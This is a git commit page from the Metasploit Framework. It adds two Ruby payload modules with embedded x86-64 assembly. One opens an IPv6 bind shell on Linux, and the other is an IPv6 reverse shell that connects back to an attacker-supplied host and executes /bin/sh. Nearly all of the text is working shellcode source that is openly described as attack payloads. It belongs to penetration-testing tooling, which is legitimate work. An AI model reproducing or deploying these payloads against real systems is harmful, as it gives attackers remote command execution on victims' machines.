Land #11039, Add linux x64 ipv6 reverse shell
Merge branch 'land-11039' into upstream-masterGSoC/Meterpreter_Web_Console
commit
239cce53ea
|
@ -0,0 +1,136 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 94
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Linux x64 Command Shell, Bind TCP Inline (IPv6)',
|
||||
'Description' => 'Listen for an IPv6 connection and spawn a command shell',
|
||||
'Author' => 'epi <epibar052[at]gmail.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X64,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::CommandShellUnix,
|
||||
))
|
||||
|
||||
def generate_stage
|
||||
# tcp port conversion; shamelessly stolen from linux/x86/shell_reverse_tcp_ipv6.rb
|
||||
port_order = ([1,0]) # byte ordering
|
||||
tcp_port = [datastore['LPORT'].to_i].pack('n*').unpack('H*').to_s.scan(/../) # converts user input into integer and unpacked into a string array
|
||||
tcp_port.pop # removes the first useless / from the array
|
||||
tcp_port.shift # removes the last useless / from the array
|
||||
tcp_port = (port_order.map{|x| tcp_port[x]}).join('') # reorder the array and convert it to a string.
|
||||
|
||||
payload = <<-EOS
|
||||
socket_call:
|
||||
; int socket(int domain, int type, int protocol)
|
||||
push 0x29
|
||||
pop rax ; socket syscall
|
||||
push 0xa
|
||||
pop rdi ; AF_INET6
|
||||
push 0x1
|
||||
pop rsi ; SOCK_STREAM
|
||||
xor edx,edx ; auto-select protocol
|
||||
syscall
|
||||
|
||||
push rax
|
||||
pop rdi ; store socket fd
|
||||
|
||||
populate_sockaddr_in6:
|
||||
; struct sockaddr_in6 {
|
||||
; sa_family_t sin6_family; /* AF_INET6 */
|
||||
; in_port_t sin6_port; /* port number */
|
||||
; uint32_t sin6_flowinfo; /* IPv6 flow information */
|
||||
; struct in6_addr sin6_addr; /* IPv6 address */
|
||||
; uint32_t sin6_scope_id; /* Scope ID (new in 2.4) */
|
||||
; };
|
||||
|
||||
; struct in6_addr {
|
||||
; unsigned char s6_addr[16]; /* IPv6 address */
|
||||
; };
|
||||
cdq ; zero-out rdx via sign-extension
|
||||
push rdx
|
||||
push rdx
|
||||
push rdx ; 24 bytes of sockaddr_in6, all 0x0
|
||||
push.i16 0x#{tcp_port} ; sin6_port
|
||||
push.i16 0xa ; sin6_family
|
||||
push rsp
|
||||
pop rsi ; store pointer to struct
|
||||
|
||||
bind_call:
|
||||
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
|
||||
; rdi -> fd already stored in rdi
|
||||
; rsi -> pointer to sockaddr_in6 struct already in rsi
|
||||
push 0x31
|
||||
pop rax ; bind syscall
|
||||
push 0x1c
|
||||
pop rdx ; length of sockaddr_in6 (28)
|
||||
syscall
|
||||
|
||||
listen_call:
|
||||
; int listen(int sockfd, int backlog);
|
||||
; rdi -> fd already stored in rdi
|
||||
push 0x32
|
||||
pop rax ; listen syscall
|
||||
push 0x1
|
||||
pop rsi ; backlog
|
||||
syscall
|
||||
|
||||
accept_call:
|
||||
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
|
||||
; rdi -> fd already stored in rdi
|
||||
push 0x2b
|
||||
pop rax ; accept syscall
|
||||
cdq ; zero-out rdx via sign-extension
|
||||
push rdx
|
||||
push rdx
|
||||
push rsp
|
||||
pop rsi ; when populated, client will be stored in rsi
|
||||
push 0x1c
|
||||
lea rdx, [rsp] ; pointer to length of rsi (16)
|
||||
syscall
|
||||
|
||||
dup2_calls:
|
||||
; int dup2(int oldfd, int newfd);
|
||||
xchg rdi, rax ; grab client fd
|
||||
push 0x3
|
||||
pop rsi ; newfd
|
||||
|
||||
dup2_loop:
|
||||
; 2 -> 1 -> 0 (3 iterations)
|
||||
push 0x21
|
||||
pop rax ; dup2 syscall
|
||||
dec esi
|
||||
syscall
|
||||
loopnz dup2_loop
|
||||
|
||||
exec_call:
|
||||
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
||||
push 0x3b
|
||||
pop rax ; execve call
|
||||
cdq ; zero-out rdx via sign-extension
|
||||
mov rbx, '/bin/sh'
|
||||
push rbx
|
||||
push rsp
|
||||
pop rdi ; address of /bin/sh
|
||||
syscall
|
||||
EOS
|
||||
|
||||
Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,133 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 90
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Linux x64 Command Shell, Reverse TCP Inline (IPv6)',
|
||||
'Description' => 'Connect back to attacker and spawn a command shell over IPv6',
|
||||
'Author' => 'epi <epibar052[at]gmail.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShellUnix,
|
||||
))
|
||||
register_options([
|
||||
OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
|
||||
])
|
||||
end
|
||||
|
||||
def convert_input(value, padding, reverse=false)
|
||||
# converts value to comma separated string of
|
||||
# zero-padded bytes to be used in the db instruction
|
||||
arr = value.to_s(16).rjust(padding, "0").scan(/../)
|
||||
|
||||
if reverse
|
||||
arr = arr.reverse
|
||||
end
|
||||
|
||||
arr.map{ |x| sprintf("0x%02x", x.hex) }.join(',')
|
||||
end
|
||||
|
||||
def generate_stage
|
||||
# 22 -> "0x00,0x16"
|
||||
# 4444 -> "0x11,0x5c"
|
||||
tcp_port = convert_input(datastore['LPORT'], 4)
|
||||
|
||||
# 0 -> "0x00,0x00,0x00,0x00"
|
||||
scope_id = convert_input(datastore['SCOPEID'], 8, true)
|
||||
|
||||
# ::1 -> "0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01"
|
||||
# dead:beef:2::1009 -> "0xde,0xad,0xbe,0xef,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x09"
|
||||
ipv6_addr = convert_input(IPAddr.new(datastore['LHOST'], Socket::AF_INET6).to_i, 32)
|
||||
|
||||
payload = <<-EOS
|
||||
socket_call:
|
||||
; int socket(int domain, int type, int protocol)
|
||||
|
||||
push 0x29
|
||||
pop rax ; socket syscall
|
||||
push 0xa
|
||||
pop rdi ; AF_INET6
|
||||
push 0x1
|
||||
pop rsi ; SOCK_STREAM
|
||||
xor edx,edx ; auto-select protocol
|
||||
syscall
|
||||
|
||||
push rax
|
||||
pop rdi ; store socket fd
|
||||
jmp get_address ; jmp-call-pop
|
||||
|
||||
populate_sockaddr_in6:
|
||||
; struct sockaddr_in6 {
|
||||
; sa_family_t sin6_family; /* AF_INET6 */
|
||||
; in_port_t sin6_port; /* port number */
|
||||
; uint32_t sin6_flowinfo; /* IPv6 flow information */
|
||||
; struct in6_addr sin6_addr; /* IPv6 address */
|
||||
; uint32_t sin6_scope_id; /* Scope ID (new in 2.4) */
|
||||
; };
|
||||
|
||||
; struct in6_addr {
|
||||
; unsigned char s6_addr[16]; /* IPv6 address */
|
||||
; };
|
||||
|
||||
pop rsi ; store pointer to struct
|
||||
|
||||
connect_call:
|
||||
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
; rdi -> already contains server socket fd
|
||||
; rsi -> already contains pointer to sockaddr_in6 struct
|
||||
push 0x2a
|
||||
pop rax ; connect syscall
|
||||
push 0x1c
|
||||
pop rdx ; length of sockaddr_in6 (28)
|
||||
syscall
|
||||
|
||||
dup2_calls:
|
||||
; int dup2(int oldfd, int newfd);
|
||||
; rdi -> already contains server socket fd
|
||||
push 0x3
|
||||
pop rsi ; newfd
|
||||
|
||||
dup2_loop:
|
||||
; 2 -> 1 -> 0 (3 iterations)
|
||||
push 0x21
|
||||
pop rax ; dup2 syscall
|
||||
dec esi
|
||||
syscall
|
||||
loopnz dup2_loop
|
||||
|
||||
exec_call:
|
||||
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
||||
push 0x3b
|
||||
pop rax ; execve call
|
||||
cdq ; zero-out rdx via sign-extension
|
||||
mov rbx, '/bin/sh'
|
||||
push rbx
|
||||
push rsp
|
||||
pop rdi ; address of /bin/sh
|
||||
syscall
|
||||
|
||||
get_address:
|
||||
call populate_sockaddr_in6
|
||||
; sin6_family(2), sin6_port(2), sin6_flowinfo(4), sockaddr_in6(16), sin6_scope_id(4)
|
||||
db 0x0a,0x00,#{tcp_port},0x00,0x00,0x00,0x00,#{ipv6_addr},#{scope_id}
|
||||
EOS
|
||||
|
||||
Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue